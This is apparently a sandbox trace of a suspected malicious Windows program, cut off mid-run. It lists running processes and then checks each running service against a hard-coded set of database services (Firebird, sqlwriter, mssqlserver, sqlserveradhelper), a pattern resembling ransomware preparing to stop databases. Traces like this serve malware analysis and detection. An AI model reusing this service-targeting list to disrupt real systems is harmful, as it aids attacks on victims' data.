1 [0308.036] lstrlenW (lpString="spoolsv.exe") returned 11 [0308.036] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.037] lstrlenW (lpString="svchost.exe") returned 11 [0308.037] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0308.038] lstrlenW (lpString="audiodg.exe") returned 11 [0308.038] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0308.039] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0308.039] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0308.039] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0308.040] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0308.040] lstrlenW (lpString="Memory Compression") returned 18 [0308.040] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.041] lstrlenW (lpString="svchost.exe") returned 11 [0308.041] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0308.042] lstrlenW (lpString="sihost.exe") returned 10 [0308.042] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0308.044] lstrlenW (lpString="taskhostw.exe") returned 13 [0308.044] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0308.045] lstrlenW (lpString="msoia.exe") returned 9 [0308.045] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0308.047] lstrlenW (lpString="explorer.exe") returned 12 [0308.047] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0308.048] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0308.048] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0308.049] lstrlenW (lpString="SearchUI.exe") returned 12 [0308.049] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0308.050] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0308.050] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0308.050] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0308.051] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0308.051] lstrlenW (lpString="chrome64b.exe") returned 13 [0308.051] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf58, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0308.053] lstrlenW (lpString="cmd.exe") returned 7 [0308.053] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0308.054] lstrlenW (lpString="conhost.exe") returned 11 [0308.054] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0308.054] lstrlenW (lpString="mode.com") returned 8 [0308.055] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0308.055] CloseHandle (hObject=0x35c) returned 1 [0308.055] Sleep (dwMilliseconds=0x1f4) [0308.901] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x759d10 [0308.901] EnumServicesStatusExW (in: hSCManager=0x759d10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 0 [0308.902] GetLastError () returned 0xea [0308.902] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1c30) returned 0x3d0b560 [0308.902] EnumServicesStatusExW (in: hSCManager=0x759d10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3d0b560, cbBufSize=0x1c30, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3d0b560, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 1 [0308.902] CloseServiceHandle (hSCObject=0x759d10) returned 1 [0308.903] lstrlenW (lpString="Appinfo") returned 7 [0308.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0308.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0308.903] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0308.903] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0308.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0308.903] lstrlenW (lpString="AppXSvc") returned 7 [0308.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0308.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0308.903] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0308.903] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0308.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0308.903] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0308.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0308.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0308.903] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0308.903] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0308.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0308.903] lstrlenW (lpString="Audiosrv") returned 8 [0308.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0308.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0308.903] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0308.903] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0308.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0308.903] lstrlenW (lpString="BFE") returned 3 [0308.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0308.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0308.903] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0308.903] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0308.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0308.903] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0308.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0308.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0308.903] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0308.903] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0308.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0308.904] lstrlenW (lpString="CDPSvc") returned 6 [0308.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0308.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0308.904] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0308.904] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0308.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0308.904] lstrlenW (lpString="ClickToRunSvc") returned 13 [0308.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0308.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0308.904] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0308.904] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0308.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0308.904] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0308.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0308.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0308.904] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0308.904] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0308.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0308.904] lstrlenW (lpString="CryptSvc") returned 8 [0308.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0308.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0308.904] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0308.904] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0308.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0308.904] lstrlenW (lpString="DcomLaunch") returned 10 [0308.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0308.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0308.904] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0308.904] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0308.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0308.904] lstrlenW (lpString="DeviceAssociationService") returned 24 [0308.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0308.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0308.904] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0308.904] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0308.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0308.904] lstrlenW (lpString="Dhcp") returned 4 [0308.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0308.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0308.905] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0308.905] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0308.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0308.905] lstrlenW (lpString="Dnscache") returned 8 [0308.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0308.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0308.905] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0308.905] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0308.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0308.905] lstrlenW (lpString="DPS") returned 3 [0308.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0308.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0308.905] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0308.905] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0308.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0308.905] lstrlenW (lpString="DusmSvc") returned 7 [0308.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0308.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0308.905] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0308.905] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0308.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0308.905] lstrlenW (lpString="EventLog") returned 8 [0308.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0308.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0308.905] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0308.905] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0308.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0308.905] lstrlenW (lpString="EventSystem") returned 11 [0308.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0308.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0308.905] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0308.905] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0308.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0308.905] lstrlenW (lpString="FontCache") returned 9 [0308.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0308.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0308.905] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0308.905] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0308.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0308.906] lstrlenW (lpString="gpsvc") returned 5 [0308.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0308.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0308.906] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0308.906] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0308.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0308.906] lstrlenW (lpString="iphlpsvc") returned 8 [0308.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0308.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0308.906] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0308.906] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0308.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0308.906] lstrlenW (lpString="KeyIso") returned 6 [0308.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0308.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0308.906] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0308.906] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0308.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0308.906] lstrlenW (lpString="LanmanServer") returned 12 [0308.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0308.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0308.906] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0308.906] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0308.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0308.906] lstrlenW (lpString="LanmanWorkstation") returned 17 [0308.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0308.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0308.906] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0308.906] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0308.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0308.906] lstrlenW (lpString="lfsvc") returned 5 [0308.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0308.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0308.906] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0308.906] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0308.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0308.907] lstrlenW (lpString="lmhosts") returned 7 [0308.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0308.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0308.907] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0308.907] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0308.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0308.907] lstrlenW (lpString="LSM") returned 3 [0308.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0308.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0308.907] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0308.907] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0308.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0308.907] lstrlenW (lpString="MpsSvc") returned 6 [0308.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0308.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0308.907] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0308.907] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0308.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0308.907] lstrlenW (lpString="NcbService") returned 10 [0308.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0308.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0308.907] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0308.907] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0308.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0308.907] lstrlenW (lpString="netprofm") returned 8 [0308.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0308.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0308.907] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0308.907] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0308.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0308.907] lstrlenW (lpString="NgcSvc") returned 6 [0308.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0308.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0308.907] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0308.907] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0308.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0308.907] lstrlenW (lpString="NlaSvc") returned 6 [0308.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0308.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0308.908] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0308.908] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0308.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0308.908] lstrlenW (lpString="nsi") returned 3 [0308.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0308.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0308.908] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0308.908] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0308.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0308.908] lstrlenW (lpString="PcaSvc") returned 6 [0308.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0308.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0308.908] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0308.908] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0308.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0308.908] lstrlenW (lpString="PlugPlay") returned 8 [0308.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0308.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0308.908] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0308.908] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0308.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0308.908] lstrlenW (lpString="Power") returned 5 [0308.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0308.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0308.908] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0308.908] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0308.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0308.908] lstrlenW (lpString="ProfSvc") returned 7 [0308.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0308.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0308.908] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0308.908] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0308.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0308.908] lstrlenW (lpString="RpcEptMapper") returned 12 [0308.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0308.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0308.909] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0308.909] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0308.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0308.909] lstrlenW (lpString="RpcSs") returned 5 [0308.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0308.909] 